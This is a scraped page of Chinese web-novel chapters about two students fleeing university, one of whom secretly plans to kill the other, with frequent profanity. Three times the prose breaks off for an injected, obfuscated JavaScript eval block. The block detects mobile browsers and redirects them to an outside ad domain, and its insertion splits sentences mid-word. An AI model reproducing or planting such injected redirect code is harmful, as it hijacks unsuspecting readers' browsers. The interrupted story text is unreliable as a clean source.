她能够遇到的老师,多数都是像阳宁这般,只想着息事宁人,一言一行都流露着试图将损失降低到最小化,根本不在乎学生心理状态,甚至会在背后吐槽遇到的奇葩学生的人。 当幻想被现实戳破,胡爱莎的内心还是会升起一股难以抑制的愤怒,以及失望。 她渴望遇到一个真心关爱学生的好老师,但她偏偏遇不到,于是胡爱莎便更加讨厌阳宁的存在。 阳宁见胡爱莎态度坚决,便看向一直充当背景板的何姆:“何姆,这件事你有参与吗?” “呃——”何姆不知道应该怎样回答。 他是不想牵涉到这些麻烦事之中的。 他只在乎自己的杀人计划。 但很显然,现在胡爱莎就坐在自己身旁,何姆相信,一旦自己否认,就会立马失去胡爱莎的信任。 好在阳宁也不是想要一个结果,他翻出和何姆的聊天记录,试图了解眼前的学生。 不同于胡爱莎,何姆没有任何挂科记录。 两人的聊天对话框一片空白,还停留在大一刚入学时的加好友打招呼阶段。 何姆也是阳宁负责的学生,但阳宁努力思索,发现他的存在感非常低。 事实上,不论是胡爱莎还是何姆,如果没有今天的意外情况,在阳宁心中,这两人会被一直贴上“不 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旁边的胡爱莎却已经忍耐到极点,她皱眉看向阳宁,言语中带刺:“我说了,随便。随便的意思,就是随便你怎么做,随便你怎么对待我们。” “胡爱莎!这件事比你想象的严重,我也可以很负责的告诉你,齐佳怡的父母肯定不会就这么算了的,或许还会联系你们的家长索赔——”阳宁警告道。 “对,但我他妈的不想再检讨自己。”胡爱莎轻蔑道,“你也少他妈威胁我。” “你!”阳宁气急。 “我告诉你,我不在乎!我什么都不在乎!”胡爱莎用手指点着阳宁的桌子,“你这种人到底还会什么?也不过他妈的就是处分、联系家长、威胁学生,你到底算什么东西,也配和我说话?” 阳宁不可置信:“胡爱莎,你知道自己在说什么吗?” 胡爱莎举起两根中指,回敬了他的疑惑。 “我操你大爷的!” 随后,胡爱莎抓住何姆的衣领,带人离开了阳宁的办公室。 何姆跟在胡爱莎身后。 胡爱莎大步流星走在前面。 如果忽视掉她凌乱的头发,带着血迹的鼻子,她的神态可以称得上意气风发。 在问候了阳宁之后,看着对方涨红的面庞,胡爱莎心里只剩下一个字:爽! 她从来不知道,原来说脏话这么爽! 胡爱莎单方面爽完后,眼角余光瞟到何姆,不由得有些嫌弃:“怎么?你刚刚就应该像我一样,而不是被他反问住。” “呃——”何姆有些犹豫。 “等等,你不会从来没有说过脏话吧?!”胡爱莎瞪大眼睛。 “我会注意避开妈妈相关的词语。”何姆老实道,“尤其是你妈,他妈,这种词语。” “为什么?”胡爱莎十分疑惑。 据她所知,骂人的词语中,最常见的无非就是“操你妈”、“操他妈”和“□□祖宗”等只有男性才最有资格喊出的词语。 “因为这是辱女词啊!”何姆说道。 胡爱莎被噎了一下:“如果不带妈,那你还能骂什么?” “我基本不骂人。”何姆说道。 在他眼中,谩骂行为是一种对抗性的激烈冲突,他本能地厌恶一切冲突行为。 胡爱莎翻了个白眼,故意和他唱反调:“我就要说,操你妈的,操他妈的,妈的,妈……” 何姆只是安静看着胡爱莎。 大概问候了十分钟各种各样的“妈”,胡爱莎讲得口干舌燥。 “算了,这太无聊了。”胡爱莎擦了擦嘴角的口水。 “很高兴你能这么想。”何姆露出一个标准的假笑。 他只是喜欢安静地杀人,并不喜欢骂人。 5. 壁花 手机传来消息的提示音。 胡爱莎没有犹豫,立马把自己父母、阳宁、班长等相关人员的联系方式拉黑。 “很好,我要走了。”胡爱莎说道。 “你要去哪儿?”何姆下意识追问。 “离开这里。”胡爱莎瞟了眼何姆,有些冷酷道,“至于我们的关系,也到此为止。” 何姆听到这句话的瞬间,仿佛有一只大手在他的心脏用力揉搓,他难得着急道:“为什么?!” 这简直是一个晴天霹雳!就在何姆已经认为胡爱莎是最适合被杀死的目标对象后,胡爱莎居然想要离开! “你听不懂人话吗?因为我要离开这里了,而你,还要留在这里,继续日复一日操蛋的生活。”胡爱莎面无表情道。 事实上,在决定对齐佳怡开展复仇计划的同时,胡爱莎已经打定主意离开这个令她痛苦万分的地方。 不论是退学,还是休学,胡爱莎根本不在乎。她四肢健全,智商正常,完全可以依靠双手养活自己。 一旦做出这样的决定,胡爱莎发现,原本困扰她的许多东西,那些自卑的、阴暗的情绪,就这么轻飘飘地消散了。 至于何姆,算是计划中的意外。 他沉默寡言,孤僻内向。 胡爱莎既可以通过他获得与“恋爱”一次相关的体验,又可以借助他的掩护,顺利完成出逃计划,甚至在提出分手时,胡爱莎也相信何姆并不会过多纠缠。 “不,我可以和你一起走!”何姆沉痛道。 胡爱莎难得惊讶道:“你要为了我放弃学业?” 她并不认为两人短短一周的恋爱经历,会让何姆产生非她不可的决心。 起码她自己根本没有这样的想法。 事实上,何姆也根本不想放弃自己的学业,他只是想要完成自己的杀人计划。 但面对胡爱莎,何姆只能硬着头皮道:“当然。” 或许是那些与恋爱有关的电视剧影响,胡爱莎莫名感动,同意了何姆的请求。 “现在我们各自回宿舍收拾行李,一个小时后,在学校北门门口集合。”胡爱莎说道。 “我们要去哪里?”何姆问道。 “两点钟,有一趟前往火车站的大巴。我已经提前买了自己的车票,但我相信应该还有余票。”胡爱莎抓住何姆的手,坚定道,“如果没有余票,那我们就采用别的交通方式。” “好的。”何姆咬紧下唇,点头。 他意识到或许这就是他此生难得的机会。 一个亲手杀死一个人类,成为一名真正变态的机会。 因为再也没有比对一个出逃少女下手更简单的机遇了,他甚至都不用去编造一个合理的理由骗胡爱莎离开校园! 一时间,何姆瘦削的胸膛突然感到一阵热意,头脑也因为激动而发热。 —— 宿舍内。 齐佳怡并没有回来的踪迹,只有阮六一待在自己的位置上。 看到胡爱莎推门而入,阮六一立马站起来,神色激动:“你还好吧?” 她看到胡爱莎脸上的伤口,又从抽屉里拿出药棉:“你去过校医室了吗?我这里有药。” “不用。”胡爱莎瞟了她一眼,径直走到自己的床铺位置,拉出一个灰色背包,开始往里面装东西。 “你要去哪儿?辅导员有找你说什么吗?我可以为你作证的。”阮六一似乎等待多时,不断和胡爱莎搭话。 胡爱莎一边收拾东西,一边打心底里觉得阮六一有些可笑。 她和阮六一是同专业的同班同学,论道理讲,本应该关系更为亲近的。但偏偏阮六一选择和齐佳怡成为好朋友,两个人经常约着出去玩。 现在齐佳怡意外“翻车”,阮六一损失惨重,可谓是对她看走眼的惩罚。 虽然经常说“三个人的友谊总是拥挤”,但作为被排挤的一方,胡爱莎很难用一种心平气和的态度去对待阮六一。 ——即使阮六一认为她们两个一同遭受齐佳怡蒙骗,早就成了同一条战线的朋友。 因此,在看到阮六一因为委屈而流泪时,胡爱莎的心里有一丝隐秘的快乐。 “你找好换的宿舍了吗?”胡爱莎皱了皱眉。 “啊?”阮六一愣了一下,随即反应过来,“找好了,宿管阿姨说隔壁宿舍正好缺一个人,我可以搬过去……” 阳宁给出的方案是协调她们换宿舍,在胡爱莎大闹教学楼之前,胡爱莎和阮六一都在分别寻找合适的宿舍。 原本两人是打算换到一个宿舍的,但事实是宿舍楼内根本没有一间空缺两人的宿舍。 “那岂不是和齐佳怡共用一个阳台?”胡爱莎有些诧异。 “是啊。”阮六一叹了口气,“但也没有更好的办法,总比和她继续住在一个宿舍要好。你呢?” “我?不清楚。”胡爱莎胡乱搪塞道。 “好吧!即使换了宿舍,我们还是好朋友。”阮六一看着胡爱莎收拾东西,说道,“我应该年底就结婚了,到时候你一定要来。” “结婚?”胡爱莎有些诧异,“年底也才大四,你还没毕业就结婚吗?” 在这段时间中,她知道阮六一有一个正在交往的对象,男方比阮六一大五岁,现在已经工作。 据阮六一所说,他们是在一次旅游中结识,互相加了好友,只是男生当时有女朋友。后来男方恰好在朋友圈官宣分手,两人这才开始“网恋”,最终确认了情侣关系。 “因为我对象比我大嘛,家里催的急。我们过年的时候已经见过家长,订婚了。”阮六一有些害羞道。 胡爱莎难得语结,只是道:“你不是打算考研吗?” “我们已经商量好了。如果我能考上,他就和我一起去杭州发展;如果考不上,我就去他家那边,他家里能给我在那边安排工作。”阮六一说道。 胡爱莎听到这话,已经想翻白眼了,不出意外的话,阮六一应该是考不上研的,但顾忌到阮六一的面子,她只是“呵呵”一声。 在她眼中,阮六一虽然看上去肤白貌美,比齐佳怡还要漂亮一些,但却是一个让人忍不住翻白眼的蠢货。 当然,用现在流行的词语来说,阮六一是一个温柔的笨蛋美人,总能遇到自己的“幸运”。 胡爱莎不想再和阮六一对话,迅速收拾好自己的东西,又将自己不再需要的床褥等生活物品卷到垃圾袋中。 “你现在就要搬宿舍了吗?”阮六一十分惊讶,“阳老师和你说了什么?” “没什么。”胡爱莎用力从抽屉里抽出一个白色泡沫箱,她看着阮六一,“你能帮我丢一下垃圾吗?” “哦,可以啊。”阮六一不疑有他。 等阮六一再次回到宿舍,她发现胡爱莎手里那个白色泡沫箱已经被打开,里面空无一物。 “鉴于我们的关系,我只留给你一点点。不多,但又没有不留的理由。”胡爱莎说道。 “什么意思?”阮六一有些茫然。 “阮六一,”胡爱莎背着书包,难得语气正经,“你应该知道,如果我们没有发现齐佳怡偷东西的事,你俩才应该有更多的共同话题吧?化妆品、衣服、包包……” 阮六一张了张嘴,很想反驳什么,最终却说道:“嗯。” 因为她知道,胡爱莎说的是对的。 虽然同住在一个宿舍,胡爱莎和她们的喜好却天壤之别。她们喜欢聊流行的美妆产品、大热的娱乐圈男明星、分享自己隐秘酸涩的感情经历、以及陌生异性的示好。 但胡爱莎却对这些话题完全不感兴趣,即使分享给她,也只能得到一些用心但并不理解的回应。 不过,即使两人没有共同爱好,阮六一也美好地相信,作为将近两年的舍友,胡爱莎应该会同意来参加自己的婚礼。 然而,现在观察胡爱莎冷淡的态度,她似乎对于自己的婚礼并不感兴趣,甚至更严重一些,胡爱莎似乎并没有把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然不知道她们是怎么发现自己占小便宜的行为,但如果没有这个意外,她本来还能继续掌握住阮六一。——在没有闹崩之前,阮六一不止一次和她说过,两人是最好的朋友。 对于胡爱莎的印象,齐佳怡一直停留在“不合拍、每天不知道在傲什么”的标签上,然而经此一役,齐佳怡彻底撕下了这个标签,不敢再轻视对方。 阮六一察觉到她的动作,故意将电脑键盘敲得“砰砰”作响。 齐佳怡只是轻蔑一笑。 即使到了撕破脸皮的地步,阮六一连当面骂她都不敢,她从来都看不起这样的人。 收拾完床铺的生活用品,齐佳怡伸手拉开衣柜,准备拿自己的私人物品。 但柜门拉到一半,里面就爬出一只黑色的大蟑螂。 “啊!”齐佳怡发出一声尖叫。 学校坐标南方,她们宿舍又在潮湿的一楼,发现蟑螂并不算奇怪。以前她也遇到过这种油光水滑的黑色大蟑螂。 只不过每次遇到,齐佳怡总会惊叫出声。 在做好心理建设后,齐佳怡拿一卷纸扫开了这只蟑螂,继续拉开柜门。 “啊啊啊啊啊啊啊啊——” “啊啊啊啊——” 这回不止是齐佳怡,一直悄悄围观的阮六一也尖叫出声。 齐佳怡的衣柜内部,不知道什么时候,聚集了密密麻麻一大片黑色蟑螂,足足有数百只之多! 它们受到惊吓,飞窜到寝室的各个角落,迅速没入到两人的床褥、衣柜和墙壁缝隙。 齐佳怡瞬间崩溃了。 阮六一突然想到些什么,她拉开自己的衣柜,发现里面也爬着一群蟑螂。 不过这些蟑螂呈黄褐色,体型要比齐佳怡柜子中的小一半,受到声音的惊吓后,同样四散逃窜。 阮六一木着一张脸,终于明白了胡爱莎那句话的意思——“鉴于我们的关系,我只留给你一点点。不多,但又没有不留的理由。”” 6. 少女 汽车站距离学校并不远,步行只需要十分钟的距离。相比于地铁,搭乘全程一个小时的大巴车是更快抵达火车站的方法。 胡爱莎顺利和何姆汇合。 这时并不是学生返校的高峰期,大巴车尚有余票,于是何姆也顺利拿到了一张车票。 候车厅内已经零散聚集了一些乘客。 何姆注意到,有女人背着一个小孩,手里拎着一个大箱子,看上去风尘仆仆。 胡爱莎占据了一个刚好能够看到室外大巴车的位置,她留意着不断进出车站的大巴。 “你当时想要的,其实是她一个坚定的否认吧?”何姆说道。 在刚才赶路的间隙,胡爱莎已经向他讲述了在宿舍发生的一切,重点强调了自己花费三百多元购买的宠物饲料蟑螂。 “你怎么知道?”胡爱莎看着何姆,面无表情道。 “因为你想要阮六一的回应,希望她能够告诉你,你们虽然爱好不同,但仍旧是好朋友。但你没有想到,她选择了默认。这样的态度彻底断绝了你对她的幻想,也让你十分伤心。”何姆说道。 他的声音冷静沉着,仿佛只是指出一个再正常不过的小问题,却精准击中了胡爱莎敏感又脆弱的内心,令她下意识想要逃避。 “你以为你很懂我吗?”胡爱莎抱臂道,“我讨厌你这样说话的语气。以及,我从来没有像你描述的这样想!” “我想要了解你。”何姆认真道。 他在内心默默补充,他想要深度了解胡爱莎,了解她的每一个想法,每一个微表情流露的含义,每一刻的心情。 这和荷尔蒙作用下的爱恋没有任何关系。 只是他喜欢观察自己的实验对象。如果能够采取实验对象最喜爱的死亡方法,或许胡爱莎面临死亡时不会那么痛苦。 胡爱莎瞟了一眼何姆,决定接受了他“直白”的人设:“好吧,我承认,你说的没错,阮六一当时的沉默确实让我有些受伤。” 何姆的犀利令她诧异,在克服了想要逃避的冲动后,胡爱莎意识到,他说的是对的。 其实阮六一并没有那么“蠢”,她也有自己的优点,具备胡爱莎这辈子都不可能拥有的温柔脾气。胡爱莎也从来没有真正怪罪过阮六一的行为,包括对方跟着齐佳怡孤立自己的行为。 只是胡爱莎从始至终想要的,就是坚定的被选择,被偏爱。而阮六一本身就有从小玩到大的闺蜜,以及一个感情正好的未婚夫,根本无法向胡爱莎提供过多的友谊情绪。 或许在未来的某一天,两人的友谊会更上一个台阶,成为真正无话不谈的闺蜜,但胡爱莎并不想要这样苦心经营的友谊。 在尚未意识到这一点时,胡爱莎的身体行动快过意识,主动斩断了这份关系。 “不过只有一点点,并没有很多。”胡爱莎有些不自然地整理了下头发,强调道。 何姆假笑道:“其实你们曾经拥有过美好快乐的时光,这就已经足够了。” “是吗?”胡爱莎的眼中闪过一丝迷茫,但很快,这份迷茫被她尚未完全消解的负面情绪碾压,“不,我的记性没有那么差,她也带给我许多伤害和痛苦。” 友谊得不到回应是一回事,但阮六一选择和齐佳怡一起孤立她是另一回事,胡爱莎现在还很难放下这段不愉快的过往。 “好吧。”何姆没有再坚持自己的想法。 胡爱莎看着何姆,虽然她并没有听取何姆的建议,但她对何姆的印象已经大为改观,从最初那个“沉默寡言的工具人”,进化到了一个“有思想深度的可靠男生”。 事实上,在何姆选择跟她一同前往阳宁办公室,胡爱莎已经很难拿何姆当成一个陌生人去对待了。 “你的父母呢?”胡爱莎问道,“如果他们知道你就这么离开,肯定会生气吧?” “不知道。”何姆摇了摇头,视线定格在候车室其他旅客身上,他注意到有一些中年男人,正蹲在卫生间和开水房的门口抽烟。 胡爱莎也并不期待何姆能说什么,现在她更在乎自己的感受,只是想找一个合适的话题向何姆倾诉:“我和父母关系很差劲,我知道他们肯定会特别生气,没准儿还会气出心脏病,但我根本不在乎。” “为什么?”何姆流程化般配合提问。 “虽然我爸从来不承认这一点,但是我能感受到,他对我的标准非常高,让我有时候感到非常窒息,也很难理解。”胡爱莎盯着不断进出车站的大巴车,皱眉道。 “比如?” “比如,他会用一种自己仿佛预料到所有事情的语气,对我说,他早就知道我的分数能上这个学校。再比如,他经常对我的生活不管不问,可是一旦知道了我挂科,他就和疯了一样,不断在重修补考前给我发消息。” 胡爱莎看着何姆,挥舞手臂:“还有,他特别特别喜欢吹牛,吹嘘自己认识某些重要人物,但关键时刻总是哑火——你能理解我在面对这些事情的愤怒吗?” “当然。”何姆点头道,“我爸爸也总是这样。” “我的妈妈倒是一个好人,十分勤劳,把家里收拾得一尘不染,也从来不对我的生活指手画脚。”胡爱莎叹了口气,“但她的问题就在于过于没有原则,总是听我爸的,有时候她这种没有主见的人,也会让我十分恼火。” “或许这是她爱你的方式。”何姆说道。 “怎么可能!”胡爱莎大叫道,“难道你妈妈不是这样对你的吗?” “呃,我爸妈在我很小的时候就离婚了。”何姆坦诚道,“我一直跟我爸爸生活。” “啊——”胡爱莎像是被掐住脖颈的鸭子,被硬控了几秒后,才找回自己的声音,用一种矫揉做作的语气安慰道,“不要在意,这不是你的错。” “我没什么关于她的记忆。”何姆又留意到,候车室又进来一对年轻夫妻,男人扛着一个编织袋,女人牵着一个刚会走路的小孩。 “那你爸爸——?”胡爱莎好奇道。 “他做生意的,经常在全国各地出差,和我关系也一般。他们各自组建了新家庭,现在我还有一个弟弟和一个妹妹。”何姆说道。 胡爱莎后知后觉意识到,自己刚才那番抱怨爸妈的话语,或许在父母离异的何姆眼中,就是赤果果的炫耀,她只能干巴巴道:“好吧,看来我们的原生家庭都不幸福。” “没关系,我们都是独立的个体,不应该受到任何人的干扰。”何姆说道。 胡爱莎不禁又高看了一眼何姆。她发现,有时候何姆总能表露出不符合他人设的淡定和智慧。最离奇的是,他的话总能精准命中她的心房。 “说起来,我从小到大交往的朋友,也都是一些比我弱的人,就是那些成绩不好,比较内向的女生。我是我们之中唯一考上外地大学的人。”胡爱莎没话找话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148283|164782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“你呢?” “我没有朋友。”何姆说道。 胡爱莎观察何姆的神色,发现他脸上并没有任何受伤或者其他负面的情绪,反而十分平静:“因为你不在乎?” “嗯。”不出意外的回答。 “那你在乎什么?”胡爱莎对何姆产生了一丝好奇。 何姆沉默了片刻,他唯一在乎的,就是自己的杀人计划,但他不能告诉任何人,因为这会为他引来不必要的麻烦,于是他只能说道:“我什么也不在乎。” “帅气!”胡爱莎都想要为何姆拍手鼓掌,她赞叹道,“我真应该向你学习。” “你接下来有什么打算?”何姆留意到,他们等候的那辆大巴车已经驶入车站,越来越多的人往室外停车场走去。 “我准备去找一个朋友。”胡爱莎也同样看到了大巴车,她迅速起身,拉着何姆去排队。 等大巴车的司机重新登车,车门开放时,候车的旅客们一窝蜂涌到门口。 胡爱莎拽住何姆的衣领,凭借灵活的身形,迅速占领了第一排靠窗的位置。 面对带着小孩的妇女,抗着沉重行李的夫妻,以及白发苍苍的老人,何姆几乎坐立难安,他感觉屁股上仿佛有一排尖锐的钉子,下意识想要起身。 但胡爱莎用力按住他的胳膊,扭头看着车窗外的景色:“听着,先到先得,这就是我们的座位。” “好吧——”何姆别无选择。 在司机验完每一个乘客的车票后,胡爱莎从书包里拿出一张纸条:“这就是我们的目的地。” 何姆接过那张纸条,发现上面写着一行并不算美观的字迹。 【不论我们未来会去哪个大学、哪个城市,我们约定好,必须去对方的大学和城市见面。本约定一式两份,分别保存,合体有效。——HAS、JXJ。 p.s.如果我们考到一个学校或一个城市,那么本约定自动作废!】 “这是你和你朋友写的吗?”何姆难得蹙眉,有些疑惑。 “嗯,我高中有一个最要好的朋友,这是我们在高考前一天写下的约定。现在她在山西上学,我们可以去找她。”胡爱莎踌躇满志道。 何姆对她的描述表示怀疑:“你有多少钱?” “一千多吧。”胡爱莎自信道,“放心,我都提前查好了——我们下午赶到火车站,买晚上六点多出发的火车卧铺,第二天早上七点多就能到山西,票价只要两百多,两个人也总共只要小五百块。” “好吧。”何姆决定跟从胡爱莎的计划。 “你还有多少钱?”胡爱莎随口问道。虽然何姆是计划之外的产物,但胡爱莎认为自己的生活费余额完全负担得起两人的车票费用。 在大巴车颠簸的左移右转中,何姆点开自己的手机界面,向胡爱莎展示自己的银行卡余额:“一万多吧。” “为什么你有这么多钱?!”胡爱莎原本有些晕车,但看清何姆的账户余额后,瞬间来了精神。 她甚至忍不住怀疑,何姆说的父母离异,只是他博取同情的手段话术罢了! “呃——”何姆努力思考道,“因为我出身江浙沪地区?” 虽然他自小父母离异,但并不代表他从小缺衣少食。他爸爸只是从来都不关心他的生活,但并没有克扣他的生活费,甚至给得十分大方。 “……”胡爱莎难得陷入了沉默。 7. 少女 申城火车站建站历史悠久,后来又经过多次修整,规模十分气派,承载着南方城市交通枢纽之一的重要职能。 即使不在春运返程的高峰期,这里每天也是人来人往,川流不息。 大巴车停靠在距离火车站一条街的地方,胡爱莎和何姆背着各自的书包下车。 汽车停靠的下车位置有些刁钻,刚下车就必须得贴着一小段马路栅栏走。 何姆身材瘦削,体能很差,下车时没有留意,如果不是胡爱莎眼疾手快,一把揪住他的衣领,他的脑袋绝对要磕到马路牙子上。 稳住身体后,何姆擦了把冷汗,他看着不断下车的男女老少,惊叹他们手提重物,居然还能够做到身轻如燕,灵活避开不平整道路的每一处可能摔跤的“陷阱”。 “你之前没有来过这里吗?”胡爱莎揉了揉手腕,有些没好气道。 “没有。”何姆老实承认道。 “那你之前放假是怎么回家的?难道不坐火车吗?”胡爱莎眉心蹙起,看向何姆。 她的家庭并不缺钱,足以支撑得起胡爱莎坐飞机回家,但胡爱莎在体验了一两次“飞的”之后,总是下意识选择非常便宜的硬卧火车回家。 “我不习惯和很多陌生人共处一室,所以我会避免搭乘火车,选择打车回家。”何姆认真解释道。 “打车?回家?!”胡爱莎地理学的不太好,但她知道,何姆的家乡距离申城并不算特别近,高铁也需要三四个小时,何姆的话显然超出了她的生活常识。 “嗯,就是网约车下单,但是也坐过几次货拉拉,和一些人搬家的东西在一起。”何姆神色自然,仿佛并不认为自己的行径非常奇怪。 胡爱莎对此叹为观止,再一次刷新了对于何姆家境优渥的认知:“那跟我一起坐火车,真是委屈你了!” 何姆摇头:“当然不会。” 在何姆眼中,这是命运对他诚心的一种“考验”,只要他能够跟着胡爱莎,获得对方的信任,那么吃再多苦,也只是为了实现他人生理想所必须付出的代价,这都是值得的。 “好吧——” 谈话间隙,胡爱莎和何姆已经走到车站的南广场,看到醒目的“申城站”金色大字。 出于惯性,胡爱莎原本打算在自己的手机上购买两张车票,但即将跳到支付界面时,胡爱莎又猛然想起,她和何姆现在也算是一对“亡命鸳鸯”。 为了保持人设,胡爱莎决定前往售票大厅买票,迈出勇敢第一步。 在手机支付迅速普及的时代,许多车站的人工售票厅已经彻底关闭,申城站也只保留了四五个人工窗口。 排队的旅客中,几乎没有胡爱莎和何姆这样的年轻人,两人一站到队伍之中,何姆就感到浑身刺挠,被陌生人的视线盯得浑身不自在。 胡爱莎也并不太习惯夹杂在这样的人群之中,但她已经决定打破过去的自我,所以迅速适应了其他人打量的视线,并挨个瞪了回去。 或许是何姆身上流露出的气质过于好欺负,有上年纪的老人拉住何姆,询问买票的具体流程。 “我,我也不太明白。”何姆有些惶恐,他闻到了对方身上淡淡的汗臭味。 老人看着何姆,又看向旁边臭脸的胡爱莎,最终摇了摇头,走到另一边。 售票员明显是申城本地人,轮到何姆和胡爱莎买票时,她正在和工位两旁的售票员闲聊,唾沫星子横飞,“侬”来“侬”去听得胡爱莎心头直冒火。 或许是胡爱莎自带吸引霉运的体质,以胡爱莎在这里生活三年的经历来看,她没有任何和申城当地人相处愉快的经历。 以同学为例,他们中很多人总是口口声声说着自己非常贫穷,但又在某些时刻具有一种莫名其妙的优越感,不止一次纠正胡爱莎蹩脚的英语口音。 在生活中,胡爱莎有一次手表需要更换电池,前往学校附近的钟表店维修,戴着老花镜的大爷张口就收了胡爱莎一百元,理由是他的电池绝对是最耐用的,胡爱莎当时居然也就这么给了…… 总之,以胡爱莎浅薄的生活经历来看,她并不喜欢这座冷漠的、没有人情味的城市。 “那个,我们要两张车票!”何姆敲了敲柜台的玻璃窗,鼓起勇气说道。 但售票员似乎并没有听见他的声音,只是眉毛稍微抬了一下,继续和同事聊天。 这时,身后突然挤进来一个身材高大的中年男人,他声音洪亮,朝着玻璃窗内喊道:“四张票!” 售票员立马看向他:“你去哪儿的?” 男人说了一个地点,递上四张身份证。 售票员立马开始操作。 而身后排队的人们看见售票员默许了男人的行径,有一些大胆的旅客直接排到男人身后,准备有样学样地插队。 胡爱莎和何姆对视一眼,她无法再将售票员的行径当做无心之举,她不明白对方的恶意从何而来,但这并不妨碍她感到愤怒。 胡爱莎用力敲击玻璃,气沉丹田,用手指向售票员:“你,到底什么意思?” 售票员将打印好的车票递给男人,忍不住翻了个白眼:“小姑娘,你们要去哪里啊?” “你怎么让人插队呢?”胡爱莎瞪眼睛。 “我这不是在给你们办理业务吗?你们要是不买票,就别占着队伍啊!别人还要买票的!”售票员理直气壮道。 身后有些乘客见风使舵,试图挤开胡爱莎,准备插队买票。 胡爱莎十分气愤:“我***,**!你**不要脸,****!” “小姑娘,做人要讲文明懂礼貌好不好?你这样走在外面,就是这么和人打交道的吗?”售票员听到胡爱莎的脏话,一副‘我停止办理业务,也要和你好好吵架’的架势。 若是原本的胡爱莎,别说脏话,她连反驳都不敢,只会安静排队办理业务,再在夜深人静的时候独自回想,默默憋出内伤。 她敏感又自卑,但不是一个智力有问题的傻子,她能够看出来服务态度好和差的区别。 但现在的胡爱莎,心中有一股难以消散的郁结之气,这是她足足忍耐了三年才换来的,所以她遇到坏人是一巴掌,恶人更是两巴掌。 就在胡爱莎准备打碎玻璃,和里面的女人拼命时,何姆及时抱住了她的胳膊。 另一个不知道从哪儿冒出来的男人,也拽住了胡爱莎的衣服,两人一道把胡爱莎拽出了售票厅。 男人劝慰道:“小妹妹,不要生气嘛!你这么漂亮,生气了就不漂亮了!” 胡爱莎停止挣扎,皱眉看向男人,发现男人的腰间别着一个小布包:“你是谁?” “我是这附近的票代。”男人从兜里拿出一根烟,递给何姆。 何姆有些局促道:“我不抽,谢谢。” “好吧——”男人将烟别到耳朵上夹着,“我刚看见你们和那个售票员吵架了,她们车站的服务就那样!经常有人插队,根本没人管!” 男人的话成功取悦了胡爱莎,她仍旧有些忿忿:“难道投诉没用吗?” “啧,她们都是编外员工,不参与考核任务,投诉对她们根本没有影响。”男人说道。 胡爱莎深吸一口气,很难形容自己的情绪。 “对了,你们要去哪里啊?我这儿有便宜票。”男人点燃一根烟,深吸了一口,缓缓吐出烟圈。 何姆说出了他们的目的地。 “行,我也是和你们投缘,给你们内部渠道价格——别人便宜几十块,我给你们每个人便宜一百二十块,够意思吧?”男人掸了掸烟灰。 胡爱莎十分心动,她手里存款不多,这样算下来相当于节省了大约一张的车票钱。 但涉及到金钱,让节省成习惯的她,很难就这么轻易相信对方的话术。 “成,我理解你们的担心,就是怕遇到假票贩子嘛!”男人戳破了胡爱莎没有说出来的担忧,直接道,“要不然这样,我直接给你们票,你们走人工通道,进不去我分文不收;进去了你们再给我转钱,咱们主打一个诚信买卖,如何?” “呃——”何姆有些犹豫,他是不相信这种套路的,但他很难拒绝对方热情的态度,更何况,对方刚刚也算是帮了他忙。 但胡爱莎被对方的情绪感染,冲动点头:“行!” 十分钟后。 胡爱莎和何姆每个人手里捏着一张红色车票,站在火车站候车室,仍有些不敢置信。 “我们居然真的进来了?!那个人居然没有骗我们!”胡爱莎看着车票上的申城到晋城,十分震惊。 “是啊!”何姆看着车站内穿梭来往的人们,感叹道。 那个男人先是让他们在原地等待,随后他小跑着去取票,再然后将票交给胡爱莎和何姆二人,叮嘱他们一定要走人工通道。 整个过程非常丝滑,最后男人还朝他们挥手,祝他们旅途顺利。 一时间,胡爱莎和何姆两人的心都是暖暖的。 “我把钱转给你吧!”何姆说道。 “暂时不用。”胡爱莎并不打算用何姆的钱,“等我没钱了再说吧。” “好吧——”何姆看着胡爱莎给那个男人转账。 胡爱莎付完款后,神清气爽。 她正准备询问何姆,是否要买一些食物,视线无意一瞥,却被不远处的一个女生吸引视线。 女生带着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148284|164782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个土红色的行李箱,她戴着一个黑色边框眼镜,正在低头看手机,并没有注意到胡爱莎的视线。 “你认识那个人吗?”何姆留意到胡爱莎的视线,询问道。 “岂止是认识——”胡爱莎盯着女主的脸庞,喃喃道。 女生姓李,叫李小英,是胡爱莎高中的同班同学。 胡爱莎是一个典型的“小镇做题家”,她的家乡是地级市下面的一个小县城,就读的高中资源情况并不算乐观。 有条件的学生,都前往地级市,甚至省会就读高中,但胡爱莎家里没有那个条件,她的父母也不认为有这样辛苦培养孩子的必要。 胡爱莎就读的高中是县城资源最好的一所公立中学,但这也只是相对于当地其他高中来讲。——她所在的中学重理轻文,每年高考理科还有三四十个“985”,但轮到胡爱莎那一届时,她记得只有当时的年级第一考上了“985”。 李小英和她是同班同学,不幸的是,李小英一直稳居班级第一,而胡爱莎稳居“万年老二”的位置。 胡爱莎不愿意回想自己的高中学习生涯,她努力过,励志过,失望过,但李小英就像是她的克星,不论她再怎么努力,都牢牢压她一头。 